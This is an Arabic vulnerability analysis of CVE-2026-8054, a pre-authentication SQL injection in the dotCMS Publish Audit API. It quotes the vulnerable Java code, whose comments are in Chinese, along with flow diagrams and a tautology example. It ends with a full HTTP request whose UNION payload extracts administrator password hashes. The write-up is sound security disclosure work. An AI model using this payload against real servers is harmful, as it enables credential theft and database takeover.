
حقن SQL قبل المصادقة في dotCMS
CVE-2026-8054 هي ثغرة حقن SQL عالية الخطورة قبل المصادقة (Pre-auth SQL Injection) موجودة في واجهة برمجة تطبيقات تدقيق النشر (Publish Audit API) في dotCMS Core. تتابعها الجهة الرسمية كـحادث أمني SI-75، وقد تم إدراجها والإفصاح عنها رسميًا في نهاية مايو 2026. ونظرًا لأن المهاجم يمكنه استغلالها عن بُعد دون الحاجة إلى أي صلاحيات حساب، فإن ضررها المحتمل خطير جدًا.
| الخاصية | القيمة |
|---|---|
| رقم CVE | CVE-2026-8054 |
| التتبع الرسمي | SI-75 |
| نوع الثغرة | حقن SQL (CWE-89) |
| المكوّن المتأثر | dotCMS Core - Publish Audit API |
| درجة CVSS | 10.0 (Critical) |
| الإصدارات المتأثرة | 25.11.04-1 إلى 26.04.28-02 |
| الإصدار المُصحَّح | 26.04.28-03 |
| ناقل الهجوم | حقن SQL عن بُعد بدون مصادقة (Pre-auth) |
| الصلاحيات المطلوبة | بدون مصادقة |
| تفاعل المستخدم | لا يوجد |
| تأثير إصدارات LTS | غير متأثرة (لم يُنقل فرع كود التدقيق إلى شجرة LTS) |
توجد الثغرة في واجهتي REST التاليتين: /api/auditPublishing/get و /api/auditPublishing/getAll. عند استلام هاتين الواجهتين لمعاملات الطلب المُدخلة من العميل، لا يتم إجراء أي تصفية أو ربط مُعاملات (Parameter Binding)، بل تُبنى استعلامات SQL ديناميكيًا مباشرة عبر وصل النصوص (String Concatenation).
والأخطر من ذلك، أن dotCMS أغفلت تمامًا التحقق من الهوية وفحوصات التفويض (Authorization) على هذه الواجهات الخلفية الحساسة المتعلقة بالتدقيق. وهذا يعني أن أي مهاجم عن بُعد بدون بيانات اعتماد على الشبكة الخارجية، طالما يمكنه الوصول إلى النظام عبر الشبكة، يستطيع إرسال طلبات HTTP تحمل حمولات (Payloads) خبيثة مباشرة إلى الواجهات.
مسار الملف: dotCMS/src/main/java/com/dotcms/rest/AuditPublishingResource.java
توجد الثغرة في نقطتي نهاية REST API:
GET /api/auditPublishing/get/{bundleId} - الحصول على حالة تدقيق نشر واحدةPOST /api/auditPublishing/getAll - الحصول على حالات تدقيق النشر بشكل مجمّعالمشكلة الأساسية: قبل الإصلاح، كانت هاتان النقطتان لا تتطلبان أي مصادقة، ويمكن لأي مستخدم مجهول الوصول إليهما مباشرة.
@Path("/auditPublishing")
@Tag(name = "Publishing")
public class AuditPublishingResource {
@POST
@Path("/getAll")
@Produces(MediaType.APPLICATION_JSON)
public Response getAll(List<String> bundleIds) {
// 【漏洞点】没有认证检查!直接调用后端API
try {
final List<PublishAuditStatus> statuses = auditAPI.getPublishAuditStatuses(bundleIds);
// ...
}
}
}
مسار الملف: dotCMS/src/main/java/com/dotcms/publisher/business/PublishAuditAPIImpl.java
الدالة: getPublishAuditStatuses(List<String> bundleIds) (الأسطر 224-245)
@CloseDBIfOpened
public List<PublishAuditStatus> getPublishAuditStatuses(List<String> bundleIds)
throws DotPublisherException {
try {
final List<PublishAuditStatus> result = new ArrayList<>();
DotConnect dc = new DotConnect();
// 【漏洞点1】直接将用户输入拼接到SQL语句中
// 仅添加单引号包裹,没有任何参数化或转义处理
final List<String> parameter = bundleIds.stream()
.map(id -> "'" + id + "'") // 危险: 字符串拼接
.collect(Collectors.toList());
// 【漏洞点2】使用String.format构造SQL,用户输入被直接嵌入
dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS,
String.join(",", parameter)));
List<Map<String, Object>> items = dc.loadObjectResults();
for(Map<String, Object> item: items) {
result.add(turnIntoPublishAuditStatus(NO_LIMIT_ASSETS, item));
}
return result;
} catch(Exception e) {
Logger.debug(PublisherUtil.class, e.getMessage(), e);
throw new DotPublisherException("Unable to get list of elements with error:" + e.getMessage(), e);
}
}
ثابت SQL (SELECT_ALL_BY_BUNDLES_IDS):
SELECT * FROM publishing_queue_audit WHERE bundle_id IN (%s)
graph LR
subgraph المهاجم الخارجي
A[مهاجم عن بُعد] -->|إرسال حمولة خبيثة| B[HTTP REST API]
end
subgraph Application Layer
B -->|POST /api/auditPublishing/getAll| C[AuditPublishingResource<br/>GET/POST]
C -->|استدعاء| D[PublishAuditAPI]
D -->|استدعاء| E[PublishAuditAPIImpl]
E -->|تمرير bundleIds| F[معالجة التلوث<br/>bundleIds.stream<br/>.map id -> id]
F -->|وصل المعاملات| G[بناء SQL<br/>String.format]
end
subgraph Technology Layer
G -->|بناء SQL| H[استعلام SQL ديناميكي<br/>SELECT * FROM publishing_queue_audit<br/>WHERE bundle_id IN %s]
H -->|تنفيذ| I[تنفيذ SQL]
I -->|تنفيذ SQL مُحقون| J[PostgreSQL/MySQL]
end
subgraph نقاط الثغرة
K[نقطة الثغرة 1<br/>لا يوجد فحص مصادقة] -.->|تجاوز المصادقة| C
L[نقطة الثغرة 2<br/>لا يوجد ربط مُعاملات] -.->|يضيف اقتباسات فقط| F
end
style A fill:#ff6b6b,stroke:#333,color:#fff
style K fill:#ff6b6b,stroke:#333,color:#fff
style L fill:#ff6b6b,stroke:#333,color:#fff
style J fill:#ffa94d,stroke:#333
انتشار التلوث: إدخال المستخدم → REST API → المعالجة الخلفية → بناء SQL → تنفيذ قاعدة البيانات العيب الحرج: عدم وجود مصادقة + عدم وجود مُعاملات = حقن SQL قابل للتحكم بالكامل
افترض أن إدخال المستخدم هو bundleIds = ["x' OR '1'='1"]
SQL الطبيعي:
SELECT * FROM publishing_queue_audit WHERE bundle_id IN ('normal-id')
SQL بعد الحقن:
SELECT * FROM publishing_queue_audit WHERE bundle_id IN ('x' OR '1'='1')
وبما أن '1'='1' صحيحة دائمًا، فإن هذا الاستعلام سيعيد جميع السجلات من الجدول.
graph TD
subgraph مقارنة الإدخال
A[إدخال طبيعي<br/>bundle-123] -->|بناء| B[SQL طبيعي<br/>WHERE bundle_id IN<br/>'bundle-123']
C[إدخال خبيث<br/>x OR 1=1] -->|حقن| D[SQL مُحقون<br/>WHERE bundle_id IN<br/>x OR 1=1]
end
subgraph تنفيذ قاعدة البيانات
B -->|تنفيذ| E[قاعدة البيانات]
D -->|تنفيذ| E
end
subgraph مقارنة النتائج
E -->|إرجاع| F[نتيجة طبيعية<br/>سجل واحد]
E -->|إرجاع تسريب بيانات| G[نتيجة التسريب<br/>جميع السجلات]
end
style C fill:#ff6b6b,stroke:#333,color:#fff
style G fill:#ff6b6b,stroke:#333,color:#fff
style D fill:#ff6b6b,stroke:#333,color:#fff
note1[نقطة الحقن: علامة الاقتباس المفردة تُغلق السلسلة الأصلية<br/>OR 1=1 تجعل الشرط صحيحًا دائمًا<br/>النتيجة: إرجاع جميع السجلات]
يمكن للمهاجم الذي يستغل هذه الثغرة بنجاح تنفيذ أي أوامر SQL بسياق مستخدم نظام قاعدة البيانات، مما يؤدي إلى العواقب الوخيمة التالية:
graph TD
subgraph تحليل أثر الهجوم
subgraph سرية البيانات
A[تجزئة كلمة مرور المسؤول]
B[بيانات اعتماد المستخدمين]
C[رمز إعادة التعيين]
D[إعدادات النظام]
end
subgraph سلامة البيانات
E[محتوى الموقع]
F[صلاحيات وأدوار المستخدمين]
G[سجلات التدقيق]
end
subgraph توافر النظام
H[DROP TABLE]
I[حذف البيانات]
J[تحديث البيانات]
end
subgraph تصعيد الصلاحيات
K[الاستيلاء على حساب المسؤول]
L[قراءة وكتابة نظام الملفات]
M[تنفيذ الكود عن بُعد]
end
end
N[ثغرة حقن SQL] -->|تسريب| A
N -->|تسريب| B
N -->|تسريب| C
N -->|عبث| E
N -->|عبث| F
N -->|تنفيذ| H
N -->|تحقيق| K
N -->|تحقيق| L
O[CVSS 10.0 Critical] -.->|تقييم| N
style N fill:#ff6b6b,stroke:#333,color:#fff
style O fill:#ff6b6b,stroke:#333,color:#fff
يمكن للمهاجم عبر حقن SQL تفريغ الجداول الأساسية لقاعدة البيانات والحصول على:
مثال على حمولة هجوم - الحصول على كلمة مرور المسؤول:
POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json
["x' UNION SELECT user_id,password_hash,email,null,null FROM dotcms_user--"]